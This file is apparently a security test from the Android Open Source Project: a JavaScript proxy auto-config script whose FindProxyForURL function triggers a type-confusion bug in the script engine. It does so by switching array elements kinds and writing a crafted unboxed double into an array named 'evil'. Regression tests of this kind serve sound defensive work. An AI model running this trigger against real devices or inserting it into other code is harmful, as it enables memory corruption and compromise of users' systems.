| /* |
| * Copyright (C) 2019 The Android Open Source Project |
| * |
| * Licensed under the Apache License, Version 2.0 (the "License"); |
| * you may not use this file except in compliance with the License. |
| * You may obtain a copy of the License at |
| * |
| * http://www.apache.org/licenses/LICENSE-2.0 |
| * |
| * Unless required by applicable law or agreed to in writing, software |
| * distributed under the License is distributed on an "AS IS" BASIS, |
| * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
| * See the License for the specific language governing permissions and |
| * limitations under the License. |
| */ |
| |
| function FindProxyForURL(url, host){ |
| for(var i = 0;i<0x10000;i++){ |
| change_elements_kind(x); |
| } |
| |
| for(var i = 0;i<0x10000;i++){ |
| write_as_unboxed(); |
| } |
| |
| change_elements_kind(evil); |
| |
| write_as_unboxed(); |
| |
| try{ |
| evil[0].x; |
| }catch(e){ |
| } |
| return "DIRECT"; |
| } |
| |
| function change_elements_kind(a){ |
| a[0] = Array; |
| } |
| function read_as_unboxed(){ |
| return evil[0]; |
| } |
| |
| function write_as_unboxed(){ |
| evil[0] = 2.37341197482723178190425716704E-308; //0x00111111 00111111 |
| } |
| |
| change_elements_kind({}); |
| |
| var map_manipulator = new Array(1.0,2.3); |
| map_manipulator.x = 7; |
| change_elements_kind(map_manipulator); |
| |
| map_manipulator.x = {}; |
| |
| var evil = new Array(1.1,2.2); |
| evil.x = {}; |
| |
| var x = new Array({}); |